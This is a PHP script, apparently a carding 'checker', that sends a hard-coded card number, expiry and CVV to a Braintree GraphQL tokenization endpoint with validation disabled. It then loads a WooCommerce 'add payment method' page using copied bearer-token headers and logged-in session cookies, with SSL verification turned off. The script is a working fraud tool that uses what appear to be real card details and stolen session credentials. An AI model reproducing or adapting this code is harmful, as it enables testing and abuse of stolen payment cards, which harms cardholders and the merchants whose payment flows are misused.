<?php

// 🔹 Card Details Variables
$cc = "5156769272615361";  // Card Number
$month = "02";             // Expiration Month
$year = "2028";            // Expiration Year
$cvv = "488";              // CVV

// 🔹 Pehla Request (Card Tokenization)
$first_url = "https://p...content-available-to-author-only...i.com/graphql";

$first_headers = [
    "accept: */*",
    "accept-language: en,en-US;q=0.9,hi;q=0.8",
    "authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiIsImtp...",
    "braintree-version: 2018-05-10",
    "content-type: application/json",
    "origin: https://a...content-available-to-author-only...y.com",
    "referer: https://a...content-available-to-author-only...y.com/",
    "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
];

$first_data = json_encode([
    "clientSdkMetadata" => [
        "source" => "client",
        "integration" => "custom",
        "sessionId" => "1e1c7fda-d692-4e69-afc2-5a7d64aae8af"
    ],
    "query" => "mutation TokenizeCreditCard(\$input: TokenizeCreditCardInput!) {
        tokenizeCreditCard(input: \$input) {
            token
            creditCard {
                bin
                brandCode
                last4
                expirationMonth
                expirationYear
                binData {
                    prepaid
                    healthcare
                    debit
                    durbinRegulated
                    commercial
                    payroll
                    issuingBank
                    countryOfIssuance
                    productId
                }
            }
        }
    }",
    "variables" => [
        "input" => [
            "creditCard" => [
                "number" => $cc,
                "expirationMonth" => $month,
                "expirationYear" => $year,
                "cvv" => $cvv
            ],
            "options" => [
                "validate" => false
            ]
        ]
    ],
    "operationName" => "TokenizeCreditCard"
]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $first_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $first_headers);
curl_setopt($ch, CURLOPT_POSTFIELDS, $first_data);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$first_response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);

if ($error) {
    echo "❌ First Request Error: " . $error;
    exit;
}

// 🔹 Dusra Request (Payment Method Page Capture)
$second_url = "https://w...content-available-to-author-only...o.uk/my-account/add-payment-method/";

$second_headers = [
    "User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36",
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Accept-Encoding: gzip, deflate, br, zstd",
    "cache-control: max-age=0",
    "upgrade-insecure-requests: 1",
    "sec-fetch-site: same-origin",
    "sec-fetch-mode: navigate",
    "sec-fetch-user: ?1",
    "sec-fetch-dest: document",
    "sec-ch-ua: \"Google Chrome\";v=\"131\", \"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"",
    "sec-ch-ua-mobile: ?1",
    "sec-ch-ua-platform: \"Android\"",
    "save-data: on",
    "referer: https://w...content-available-to-author-only...o.uk/my-account/add-payment-method/",
    "accept-language: en,en-US;q=0.9,hi;q=0.8",
    "priority: u=0, i",
    "Cookie: woocommerce_current_currency=GBP; __stripe_mid=1e5d6b5b-7167-4c2a-9427-58cd69372065ce25e1; __stripe_sid=54a90c7f-1569-4a6a-8ad4-88f57e3a22afa7ceb1; wordpress_logged_in_f9aab48a6c2081ab1ed041c553ba2d31=saravanydbbdbdbddgdhhddhsdadav6359%7C1741764442%7CTSKZi5GNdhp8HY5sCBomuiRHuHHmHokZkRTWm4q1Bj7%7C35c828a8d3c82ed7b50655a667942cbf4c2b5b6cb09523ef8ee53b3ef63b6164"
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $second_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $second_headers);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$second_response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);

if ($error) {
    echo "❌ Second Request Error: " . $error;
    exit;
}

// 🔹 Final Output
echo "✅ First Response:\n" . $first_response . "\n\n";
echo "✅ Second Response:\n" . $second_response . "\n";

?>